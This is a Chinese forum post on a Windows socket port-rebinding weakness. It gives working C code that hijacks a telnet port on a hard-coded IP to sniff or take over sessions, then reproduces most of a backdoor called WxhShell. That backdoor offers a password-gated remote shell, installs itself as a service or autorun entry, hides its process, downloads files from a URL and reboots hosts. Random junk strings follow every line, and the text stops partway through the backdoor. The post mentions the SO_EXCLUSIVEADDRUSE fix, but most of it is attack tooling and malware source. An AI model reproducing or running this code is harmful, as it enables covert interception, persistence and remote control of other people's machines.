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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V4i%|vV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X|B;>q  
"^e?E:( 3  
  saddr.sin_family = AF_INET; Gbm_xEPC  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t4c#' y  
h9smviU7u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J#Eh x|  
.E8p-R5)V>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EuA<{%i  
7?WBzo!!L  
  这意味着什么?意味着可以进行如下的攻击: cTx/Y&\9  
6 &Aa b56  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o[W3/  
X35U!1Y\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 29DWRJU  
;+KgujfU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }? '9L:  
=v=!x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yQ&%* ?J  
* CGdfdxW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &_hCs![  
=9@yJ9c-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '*Mb .s"  
&+iW:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D)Rf  
0lh6b3tdP  
  #include j;'Wf[V  
  #include I_s(yO4pw  
  #include X[Gk!d r#  
  #include    !#s7 F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [t) i\ }V  
  int main() Rw8m5U  
  { Q31c@t  
  WORD wVersionRequested; oT{yttSNo  
  DWORD ret; ZTC1t_  
  WSADATA wsaData; z6r/ w  
  BOOL val; M:f=JuAx  
  SOCKADDR_IN saddr; fsuvg jlE  
  SOCKADDR_IN scaddr; ]}y'3aW  
  int err; fOervo  
  SOCKET s; K 8c#/o  
  SOCKET sc; ,X6j$YLWp  
  int caddsize; 6+#cyKj  
  HANDLE mt; ' uw&f;/E  
  DWORD tid;   $zi\ /Yw  
  wVersionRequested = MAKEWORD( 2, 2 ); SnU{ZGR>sP  
  err = WSAStartup( wVersionRequested, &wsaData ); A6.'1OD  
  if ( err != 0 ) { _oVA0@#n  
  printf("error!WSAStartup failed!\n"); Pk_{{Z(1o  
  return -1; =@  
  } T^G<)IX`c  
  saddr.sin_family = AF_INET; N\&;R$[9:  
   MX\-)e#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W/Q%%)J  
N)Kr4GC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @ xr   
  saddr.sin_port = htons(23); 4 Z)]Cq*3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f`rz)C03  
  { U# B  
  printf("error!socket failed!\n"); R/|{?:r?:x  
  return -1; ^`?> Huu<w  
  } HE'8  
  val = TRUE; y@JYkp>I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]zY'w,?D\F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >L4$DKO  
  { }`FPe   
  printf("error!setsockopt failed!\n"); 7?] p\`  
  return -1; ob #XKL  
  } tpK4 gjf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RL9BB.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !,"G/}'^;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 axOy~%%c  
OG`O i^2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0VPa;{i/  
  { _,~zy9{,  
  ret=GetLastError(); f'U]Ik;Jy  
  printf("error!bind failed!\n"); fTgN2U  
  return -1; 'YZs6rcJ  
  } KIJ[ cIw  
  listen(s,2); Hm*#HT%#  
  while(1) .x%SbG<k{  
  { T,>e\  
  caddsize = sizeof(scaddr); 4*W7{MPY  
  //接受连接请求 $@wkQ%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fh<G& E8 p  
  if(sc!=INVALID_SOCKET) bnQO}G  
  { `I$A;OPK7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `_i-BdW  
  if(mt==NULL) JY16|ia  
  { TKX#/  
  printf("Thread Creat Failed!\n"); ^+<uHd>  
  break; .`].\Zykf  
  } (J*0/7 eX  
  } mNKa~E  
  CloseHandle(mt);  ]plC  
  } ` 454=3H  
  closesocket(s); Wz]S+IpY  
  WSACleanup(); &@-glF5  
  return 0; iN*@f8gf  
  }   m Y0C7i  
  DWORD WINAPI ClientThread(LPVOID lpParam) XQ8Imkc  
  { v2V1&-  
  SOCKET ss = (SOCKET)lpParam; eGil`:JY"  
  SOCKET sc; vxx3^;4p  
  unsigned char buf[4096]; (6{ VMQ  
  SOCKADDR_IN saddr; P+UK@~D+G  
  long num; wQc  w#  
  DWORD val; y[rLk  
  DWORD ret; p2K9R4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gK CIfxM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "Wp<^ssMo  
  saddr.sin_family = AF_INET; 6wgOmyJx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <~OyV5:6  
  saddr.sin_port = htons(23); ND>}t#^$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _#:1Axx1  
  { }d(6N&;"zN  
  printf("error!socket failed!\n"); u@B"*V~K  
  return -1; n21J7;\/+  
  } YBP{4Rl  
  val = 100; DV l: s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U|nk8 6r  
  { )EoG@:[  
  ret = GetLastError(); ;+U9;  
  return -1; 0"N %Vm  
  } w6_}] &F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L;[*F-+jD  
  { guvQISQlY  
  ret = GetLastError(); d}Om?kn  
  return -1; b}:Z(L,\  
  } (L1`]cp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W#!\.m`5  
  { nq=fSK(  
  printf("error!socket connect failed!\n"); >. Y ~F(  
  closesocket(sc); 6_Kz}PQ  
  closesocket(ss); 7-DC"`Y8e  
  return -1; c z|IBsa*  
  } FQyiIT6  
  while(1) 1yu!:8=ee  
  { $m>e!P>%u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v|GvN|_|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P7b2I=t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,o)MiR9-[A  
  num = recv(ss,buf,4096,0); ,n*.Yq  
  if(num>0) _$0Ix6y,  
  send(sc,buf,num,0); t>xV]W<  
  else if(num==0) [H1NP'Kg]  
  break; Gu= Rf`o  
  num = recv(sc,buf,4096,0); !Xm:$KH  
  if(num>0) 7}Sw(g)o7  
  send(ss,buf,num,0); CS/-:>s%  
  else if(num==0) =%L^!//c  
  break; PewLg<?,G4  
  } P*SXfb"HC  
  closesocket(ss); aI{[W;43T  
  closesocket(sc); J:5n/m^A  
  return 0 ; gT.-Cf{  
  } o;.-I[9h]  
}/VHeHd  
v09f#t$;5  
========================================================== 7XNfH@  
"hfwj`U  
下边附上一个代码,,WXhSHELL I9 E@2[=!  
&a`-NRU#  
========================================================== II91Ia  
AS7!FD6b  
#include "stdafx.h" eZcm3=WV|  
89paR[  
#include <stdio.h> 4v>V7T.  
#include <string.h> =BtEduz  
#include <windows.h> j!s&yHE1  
#include <winsock2.h> F,sT[C  
#include <winsvc.h> b%kh:NV{S  
#include <urlmon.h> J: LSGj;R  
URAipLvN  
#pragma comment (lib, "Ws2_32.lib") Xk2  75Y  
#pragma comment (lib, "urlmon.lib") Y%faf.$/9  
TDoYp  
#define MAX_USER   100 // 最大客户端连接数 .#n?^73  
#define BUF_SOCK   200 // sock buffer ?]t8$^m,;  
#define KEY_BUFF   255 // 输入 buffer DB0xIP~i,?  
Z|W=.RdA;  
#define REBOOT     0   // 重启 z,9qAts?mh  
#define SHUTDOWN   1   // 关机 0pR04"`;  
>b?,zWiw  
#define DEF_PORT   5000 // 监听端口 ^{s)`j'I*  
*M"wH_cd  
#define REG_LEN     16   // 注册表键长度 )oj`K,#  
#define SVC_LEN     80   // NT服务名长度 <n>< A+D  
M(|gfsD  
// 从dll定义API AKpux,@xB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ym KdRF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $H#&.IjY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g5 E]o)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U|zW_dj  
E|>I/!{u7`  
// wxhshell配置信息 ?d %_o@  
struct WSCFG { 2d._X$fx7  
  int ws_port;         // 监听端口 0XYxMN)  
  char ws_passstr[REG_LEN]; // 口令 Cdv TC`~,  
  int ws_autoins;       // 安装标记, 1=yes 0=no *f(}@U  
  char ws_regname[REG_LEN]; // 注册表键名 RwwKPE  
  char ws_svcname[REG_LEN]; // 服务名 T.pPQH__  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uk1IT4+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @.})nU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M;(lc?Rv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dihk8qJ/6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j<!$ug9VA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 982$d<0%  
_ehU:3L`s  
}; w Bl=]BW!%  
s#Le`pGoW  
// default Wxhshell configuration sLTf).xh  
struct WSCFG wscfg={DEF_PORT, .Ybm27Dk  
    "xuhuanlingzhe", 4_mh  
    1, 1t)6wk N  
    "Wxhshell", rh!41  
    "Wxhshell", K|B1jdzL  
            "WxhShell Service", gs!{'=4wT  
    "Wrsky Windows CmdShell Service", [J^,_iN[.  
    "Please Input Your Password: ", v}!,4,]:&  
  1, cq0jM;@d  
  "http://www.wrsky.com/wxhshell.exe", M*}o{E;  
  "Wxhshell.exe" `jV0;sPd;  
    }; qb! vI3  
MB#%k#z`B  
// 消息定义模块 6wF ?FtT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8\yH 7H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #*9*[Xbi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %B~`bUHjq  
char *msg_ws_ext="\n\rExit."; SQeQ"k|P%  
char *msg_ws_end="\n\rQuit."; 34oC285yc  
char *msg_ws_boot="\n\rReboot..."; oreS u;`$  
char *msg_ws_poff="\n\rShutdown..."; cZwQ{9>  
char *msg_ws_down="\n\rSave to "; g~cWBr%>  
%|;^[^7+}t  
char *msg_ws_err="\n\rErr!"; #[A/zH|xvV  
char *msg_ws_ok="\n\rOK!"; |m=@;B|  
83 S],L  
char ExeFile[MAX_PATH]; iw#luHcJ  
int nUser = 0; |6&"r&  
HANDLE handles[MAX_USER]; sOHh&e  
int OsIsNt; %(NRH?  
6@T_1  
SERVICE_STATUS       serviceStatus; 2<y -cQ?>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yux7kD\c  
(s9?#t6  
// 函数声明 S4|)N,#  
int Install(void); HloP NE&}  
int Uninstall(void); BFMM6-Ve  
int DownloadFile(char *sURL, SOCKET wsh);  V C.r  
int Boot(int flag); nZ{~@E2  
void HideProc(void); MM97$  
int GetOsVer(void); v!x=fjr<  
int Wxhshell(SOCKET wsl); F`-? 3]\3  
void TalkWithClient(void *cs); t'z] <7  
int CmdShell(SOCKET sock); %TLAn[LW(  
int StartFromService(void); t >8t|t+  
int StartWxhshell(LPSTR lpCmdLine); bk8IGhO|m!  
Db2G)63  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =^{^KHzIl3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eo@:@O+bm  
IlaH,J7n  
// 数据结构和表定义 xUG|@xIwc  
SERVICE_TABLE_ENTRY DispatchTable[] = =U^B,q  
{ A$-{WN.W  
{wscfg.ws_svcname, NTServiceMain},  Pg`^EJ+  
{NULL, NULL} 6!bf,T]  
}; t rHj7Nw  
p}j{ <y  
// 自我安装 I&^?,Fyy<  
int Install(void) wi9fYfuv3R  
{ ;B7>/q;g  
  char svExeFile[MAX_PATH]; TzIgEn~  
  HKEY key; $mpfr#!&3o  
  strcpy(svExeFile,ExeFile); Jb0]!*tV  
02SUyv(Mt  
// 如果是win9x系统,修改注册表设为自启动 wo?C 7,-x  
if(!OsIsNt) { i4->XvC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { au GN~"n^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (OJ}|*\e  
  RegCloseKey(key); @ #V31im"N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -8EdTc@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %D&FnTa  
  RegCloseKey(key); #Uudx~b  
  return 0; oVLz7Y[JE  
    } 0a(*/u  
  } oXGf#>keg  
} p*>[6{$3)O  
else { 0|HhA,u  
D]4?UL  
// 如果是NT以上系统,安装为系统服务 9gWQGkql  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a5&wS@) ;  
if (schSCManager!=0) MT0}MMr  
{ b?r0n]  
  SC_HANDLE schService = CreateService w| >Y&/IX  
  ( /a]+xL  
  schSCManager, * yt/ Dj  
  wscfg.ws_svcname, I{M2nQi  
  wscfg.ws_svcdisp, H-I*;  
  SERVICE_ALL_ACCESS, Ue8_Q8q5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [V1gj9t=,  
  SERVICE_AUTO_START, YrB-;R 1+  
  SERVICE_ERROR_NORMAL, f(9w FT  
  svExeFile, S46[2-v1  
  NULL, @w2}WX>  
  NULL, U;;Har   
  NULL, Qi[T!1  
  NULL, .%*.nq  
  NULL C@KYg/nYw  
  ); S_\RQB\l  
  if (schService!=0) RzyEA3L'  
  { .}Xkr+ +]  
  CloseServiceHandle(schService); 8y+Gvk:  
  CloseServiceHandle(schSCManager);  u0i @.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s  n?  
  strcat(svExeFile,wscfg.ws_svcname); 'W$qi@f_s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (L~3nN;rr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NeNKOW#X  
  RegCloseKey(key); ;1"K79  
  return 0; >0512_J+  
    } Jq.26I=  
  } #{N#yReh  
  CloseServiceHandle(schSCManager); J,IOp-  
} ^up*KQ3u\  
} IMVoNKW-  
^\x PF5  
return 1; C8(sH@  
} mTcLocx  
y*zZ }>  
// 自我卸载 n+xM))  
int Uninstall(void) mv + .5X  
{ ph69u #Og  
  HKEY key; 71wyZJ  
L5U>`lx6$  
if(!OsIsNt) { bk5~t'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b"x:IDW qG  
  RegDeleteValue(key,wscfg.ws_regname); ujwI4oj"c  
  RegCloseKey(key); a z`5{hK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15SIZ:Q  
  RegDeleteValue(key,wscfg.ws_regname); w$2-t  
  RegCloseKey(key); \2~.r/`1  
  return 0; sz}Nal$AC  
  } DNL TJrN  
} z?V> ST  
} 4N*^%  
else { Rov0  
+!w?g/dV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F=# zy#@.  
if (schSCManager!=0) W&rjJZY6  
{ #`?uV)(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b>fDb J0  
  if (schService!=0) Xf#uK\f  
  { n NAJ8z}Nt  
  if(DeleteService(schService)!=0) { }LE.kd&  
  CloseServiceHandle(schService); Ws(BouJ  
  CloseServiceHandle(schSCManager); iPE-j#|  
  return 0;  {!x-kF_  
  } v^KJU +  
  CloseServiceHandle(schService); i++ F&r[  
  } <Qwi 0$  
  CloseServiceHandle(schSCManager); bv|v9_i  
} CVu'uyy  
} @ '<lD*W  
ULsz<Hj  
return 1; ~PS%^zxyn  
} Oi7:J> [  
M8 ++JI  
// 从指定url下载文件 F2+lwycY  
int DownloadFile(char *sURL, SOCKET wsh) {'{ssCL  
{ g%^Zq"  
  HRESULT hr; h~<#1'/<  
char seps[]= "/"; .llAiv  
char *token; ~lQ]PKJ"  
char *file; ]\Ez{MdAT  
char myURL[MAX_PATH]; mz/KGZ5t  
char myFILE[MAX_PATH]; LG51e7_gFi  
n) `4*d$`  
strcpy(myURL,sURL); 6s>PZh  
  token=strtok(myURL,seps); Qza[~6  
  while(token!=NULL) 8B\,*JGY2  
  { _*&<hAZj  
    file=token; qB"y'UW8  
  token=strtok(NULL,seps); i"_JF-IbN  
  } ]_#[o S  
GVFD_;j'  
GetCurrentDirectory(MAX_PATH,myFILE); bx`(d@  
strcat(myFILE, "\\"); 40+E#z)  
strcat(myFILE, file); >N44&W  
  send(wsh,myFILE,strlen(myFILE),0); ? BBDk  
send(wsh,"...",3,0); M*@MkN*u&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e?F r/n  
  if(hr==S_OK) X/'B*y'=U  
return 0; ?jb7Oq#[  
else $YL} rM  
return 1; q-p4k`]  
>Utn[']~  
} wwE9|'Ok  
\#~~,k 6f  
// 系统电源模块 gNe{P~ $=  
int Boot(int flag) w=O:|Xu#*  
{ n j1 cqh  
  HANDLE hToken; mnG\UK,k  
  TOKEN_PRIVILEGES tkp; RkC?(p  
aiUn bP  
  if(OsIsNt) { `\#Q r|GC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |h8C}P&Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m|e!1_ :H  
    tkp.PrivilegeCount = 1; D*_ F@}=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /l@7MxE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jg: Uv6eN+  
if(flag==REBOOT) { >uxak2nM-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rm6<"SLV  
  return 0; "PnYa)?1  
} ZH/|L?Q1U  
else { XBi@\i=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A9F&XF7{  
  return 0; &>sG x K  
} 5wr0+Xo  
  } sp'q=^t  
  else { '(I"54W  
if(flag==REBOOT) { .LV=Z0ja  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7*u0)Hog  
  return 0; Zni8 im,_j  
} lD\lFN(:  
else { #& R x(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rHN>fySn7  
  return 0; %`%1W MO  
} 7dN]OUdi  
} D[yaAG<  
_MnMT9  
return 1; kU4Zij-O  
} qo4AQ}0 <  
/C_O/N  
// win9x进程隐藏模块 k' pu%nWN  
void HideProc(void) [ *R8XXuL  
{ !0E$9Xon  
YIt:_][*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 21G] d  
  if ( hKernel != NULL ) JA())0a  
  { 4jO~kcad  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {/ZB>l@D>8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o y}(  
    FreeLibrary(hKernel); m6aoh^I  
  } )` '  
G74<sD  
return; tWL9>7]G  
} 5|Vb)QBv%  
&UQKZ.  
// 获取操作系统版本 w{#%&e(q"  
int GetOsVer(void) @q[-,EA9  
{ \ >1M?  
  OSVERSIONINFO winfo; vqv(KsD+::  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yu3EPT!~  
  GetVersionEx(&winfo); g`3g#h$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {Yv |C)O  
  return 1; ~d){7OG  
  else eHd{'J<  
  return 0; oKzV!~{0M;  
} 9]7+fu  
uqX"^dn4u  
// 客户端句柄模块 \MK)dj5uUJ  
int Wxhshell(SOCKET wsl) kZSe#'R's  
{ (#\3XBG  
  SOCKET wsh; ]:m*7p\uk  
  struct sockaddr_in client; Z*jhSy  
  DWORD myID; YWd:Ok0  
umI#P,%[  
  while(nUser<MAX_USER) vTU"c>]  
{ \`|,wLgH  
  int nSize=sizeof(client); :mL\KQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  2Np9*[C  
  if(wsh==INVALID_SOCKET) return 1; T-f+<Cxf  
QBai;p{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Bo'0  
if(handles[nUser]==0) nLdI>c9R  
  closesocket(wsh); @fbvu_-].  
else nb(#;3DQ  
  nUser++; ] M_[*OAb  
  } jk) V[7P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |VaXOdD`&  
"2Js[uf  
  return 0; ]+d.X]   
} ~EE*/vX  
%C'!L]#  
// 关闭 socket ctH`71Y  
void CloseIt(SOCKET wsh) pZ OVD%  
{ {lx^57v  
closesocket(wsh); D#^v=U  
nUser--; $].< /  
ExitThread(0); Gd:fWz(  
} ;y4 "wBX  
[G t|Qp[   
// 客户端请求句柄 eEezd[p  
void TalkWithClient(void *cs) k<8:  
{ w}oH]jVKL6  
A-c3B+  
  SOCKET wsh=(SOCKET)cs; p.8G]pS  
  char pwd[SVC_LEN]; 9.SPxd~  
  char cmd[KEY_BUFF]; > *vI:MG8  
char chr[1]; (p^q3\  
int i,j; &eK8v]|"W  
<P g.N  
  while (nUser < MAX_USER) { ?Za1  b  
 =Lp0i9c  
if(wscfg.ws_passstr) { {Qlvj.Xw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UAUo)VVi"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cz&FOP+!  
  //ZeroMemory(pwd,KEY_BUFF); Wa ,[#H  
      i=0; mw?,oiT,)  
  while(i<SVC_LEN) { ]#+fQR$!  
6dq5f?w]  
  // 设置超时 khW3z*e#  
  fd_set FdRead; wQ4/eQ*  
  struct timeval TimeOut; t6s#19g  
  FD_ZERO(&FdRead); >E[cl\5$E  
  FD_SET(wsh,&FdRead); LxsB.jb-  
  TimeOut.tv_sec=8; E]_sl/`{od  
  TimeOut.tv_usec=0; 0'VwObq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /v=MGX@r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U,aV {qz  
Y/)>\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sf lHSMFw  
  pwd=chr[0]; AqE . TK  
  if(chr[0]==0xd || chr[0]==0xa) { *.W ![%Be  
  pwd=0; LUw0MW(Moi  
  break; xNE<$Bz  
  } }|AUV  
  i++; TJ2$ Z  
    } 80 i<Ij8J  
z9'ME   
  // 如果是非法用户,关闭 socket C+*: lLY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NC@OmSR\0  
} z.P) :Er  
v\0[B jhL?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W[w8@OCNf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5A:b \  
1Cp5a2{  
while(1) { oT%~)g  
Pou`PNvH  
  ZeroMemory(cmd,KEY_BUFF); f{k2sU*uBE  
PgxD?Oi8  
      // 自动支持客户端 telnet标准   }(20MW8rMc  
  j=0; j`='SzVloW  
  while(j<KEY_BUFF) { WPCaxA+l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~.yt  
  cmd[j]=chr[0]; 4^  $  
  if(chr[0]==0xa || chr[0]==0xd) { l;F3kA  
  cmd[j]=0; >/ W:*^g)  
  break; 0rjxWPc  
  } G\|VTqu  
  j++; gtVI>D'(W  
    } g' H!%<  
=<n+AqJ%  
  // 下载文件 *siS4RX2  
  if(strstr(cmd,"http://")) { |*i0h`a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W?5^cEF  
  if(DownloadFile(cmd,wsh)) qZG "{8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vfcj,1  
  else UIovv%7zZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50Pz+:  
  } Q V4{=1A  
  else { v; &-]ka  
ixE72bX  
    switch(cmd[0]) { d%u|) =7  
  \h,S1KmIBD  
  // 帮助 /\_0daUx  
  case '?': { >N{K)a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j#Bea ,  
    break; +8v^J8q0  
  } ]'EtLFv)  
  // 安装 qOqQt=ObU  
  case 'i': { w=e~ M  
    if(Install()) T&fqn!i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'1qA0Xc  
    else g75)&U`>}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T B1E1  
    break; ~OAST  
    } tTX2>8Gmr  
  // 卸载 :,]V 03  
  case 'r': { g3Xq@RAJc  
    if(Uninstall()) BD\xUjd?)Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TmvI+AY/  
    else sas;<yh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #\GWYWkR  
    break; a=.A/;|0*  
    } "z1\I\ ^  
  // 显示 wxhshell 所在路径 GxuFO5wz  
  case 'p': { sFT-aLpL@V  
    char svExeFile[MAX_PATH]; R%"wf   
    strcpy(svExeFile,"\n\r"); *"d"  
      strcat(svExeFile,ExeFile); y.=ur,Nd  
        send(wsh,svExeFile,strlen(svExeFile),0); _qR1M):yJ  
    break; j7?53e  
    } F)z]QJOw  
  // 重启 ?MHVkGD  
  case 'b': { `p|{(g'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -WWa`,:  
    if(Boot(REBOOT)) R0B\| O0Uv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E9Cp  
    else { #tRLvOR:  
    closesocket(wsh); ,JYvfCA  
    ExitThread(0); cz~Fz;)2{N  
    } J'G 6Z7  
    break; GKTrf\"c  
    } b*+Od8r  
  // 关机 /U4F\pZl  
  case 'd': { CE=&ZHt9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l&R~ I6^E  
    if(Boot(SHUTDOWN)) 5Q;Fwtm  
